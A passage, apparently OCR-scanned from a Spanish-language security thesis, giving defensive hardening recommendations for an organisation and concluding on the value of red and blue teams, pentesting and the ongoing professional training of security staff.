faciliten el conocimiento por parte de los empleados frente a las buenas practicas y
mitiguen de cierta forma la ocurrencia de incidentes de seguridad.

e Verificar la necesidad de apertura de puertos existentes en la infraestructura
tecnoldgica garantizando Unicamente los servicios necesarios para la funcionalidad
requerida en los equipos especificos.

e Cambio de puertos comunes vulnerables segun la aplicacion que se utilice.

e Utilizar el software siempre actualizado en la Gltima version.

65



Implementar controles de deteccion, prevencion y recuperacion para proteccion
contra codigos maliciosos; adicionalmente realizar capacitaciones dirigidas a los
empleados respecto a las amenazas que se pueden presentar como robo de
identidad, virus, spyware, hackers, phishing, entre otros.

Verificar que los registros de eventos estén activos para todos los roles dentro de la
organizacion de manera que se puedan validar y monitorear con regularidad.
Restringir la instalacion de software a usuarios finales, solo los administradores
deben tener estos privilegios.

Limitar la descarga e instalacion de programas Unicamente al personal
administrador, de tal manera que los usuarios finales no tengan este tipo de
privilegios y se garantice por parte del area de TI la instalacion de aplicaciones
confiables y controles compensatorios para excepciones que se presenten.

Verificar periodicamente los usuarios existentes frente a los funcionarios vigentes,
roles y perfiles asignados de acuerdo a las funciones de los cargos.

Establecer una matriz de segregacion de responsabilidades en donde se garantice
gue los usuarios administradores solo van a ser asignados al personal idoneo.
Establecer procedimientos de creacion y des habilitacion de usuarios.

Mantener las herramientas de seguridad activas y actualizadas como antivirus y
firewall en todos loe equipo disponibles en la red.

Limitar accesos a servicios de red.

Inhabilitar servicios que no se utilizan o son innecesarios en los equipos de red.
Modificar el procedimiento de banner predefinido en los equipos para ocultar
informacion como versiones; esta informacion se puede personaliza de tal manera
gue se eliminen anuncios e informacion que puede ser de utlidad para los
atacantes.

Los documentos utilizados por la organizacion deben estar avalados por abogados
especializados que garanticen la concordancia y afinidad con la ética, normatividad
y legislacion vigente de manera que no valla en contradiccion y vulnere ninguno de

estos aspectos.
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CONCLUSIONES

Los equipos redteam y blueteam le aportan a la organizacion tranquilidad, mejora
continba en la seguridad, seguimiento constante con andlisis de patrones y
comportamientos que pueden identificar posibles amenazas, emulacion de posibles
ataques que pueden ayudar a identificar la capacidad que tienen las organizaciones
para proteger sus activos criticos.

La realizacion de Pentesting es una practica que si se evalla a largo plazo puede
resultar econémica teniendo en cuenta el sin nUmero de herramientas de cddigo
abierto y publicaciones de entidades idéneas y conocedoras creadas para la
cooperacion mundial en la mitigacion de riesgos de ataques, que se pueden utilizar
de manera frecuente, gratuita y periodica para la actualizacion y generacion de
estrategias de defensa en las organizaciones.

Los profesionales de la seguridad informatica tenemos altos niveles de
responsabilidad frente a la continua actualizacion de conocimientos que debemos
realizar para estar a la vanguardia de las amenazas, herramientas para el apoyo de
cierre de brechas de seguridad y el aporte que como individuos podemos realizar
con nuestro trabajo ético y en concordancia con la normatividad y legislacion vigente
frente al trabajo que se nos encomiende.

Los aspectos de la seguridad informatica no son de ninguna manera estaticos,
contrariamente dia a dia traen consigo retos importantes frente a la solucién de la
vulnerabilidades de las tecnologias, identificacion de vectores de ataque Yy
amenazas emergentes, actualizacibn de herramientas para la identificacion y
mitigacion de posibles incidentes de seguridad, entre otros; de ahi la importancia de
la constante actualizacion por parte de los equipos expertos que manejan la
seguridad informatica en las empresas para garantizar el adecuado tratamiento,
aseguramiento y seguimiento de manera que limite y mitigue la ocurrencia de

eventos adversos que afecten la seguridad en la organizacion.
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